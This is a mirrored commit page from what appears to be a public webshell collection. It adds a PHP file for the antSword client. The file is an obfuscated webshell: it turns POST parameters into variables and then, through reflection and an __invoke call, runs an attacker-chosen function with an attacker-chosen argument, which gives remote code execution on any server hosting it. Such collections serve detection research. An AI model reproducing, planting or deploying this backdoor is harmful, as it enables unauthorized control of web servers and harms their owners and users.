mirror of
https://github.com/tennc/webshell
synced 2024-11-21 18:53:03 +00:00
parent
5ab8c018a4
commit
45260b3568
1 changed files with 25 additions and 0 deletions
25
antSword-shells/php2.php
Normal file
25
antSword-shells/php2.php
Normal file
|
@ -0,0 +1,25 @@
|
|||
<?php
|
||||
class Test1
|
||||
{
|
||||
private $para1 = '';
|
||||
private $para2 = '';
|
||||
|
||||
public function __invoke($para1, $para2)
|
||||
{
|
||||
$para1($para2);
|
||||
}
|
||||
public function __construct($para1, $para2)
|
||||
{
|
||||
$this($para1, $para2);
|
||||
}
|
||||
}
|
||||
|
||||
$class1 = new ReflectionClass("Test1");
|
||||
|
||||
foreach (array('_POST') as $_r1) {
|
||||
foreach ($$_r1 as $_asadasd=>$_wfwefb) {
|
||||
|
||||
$$_asadasd =$_wfwefb;
|
||||
}
|
||||
}
|
||||
$class2 = $class1->newInstance($_asadasd, $$_asadasd);
|
Loading…
Reference in a new issue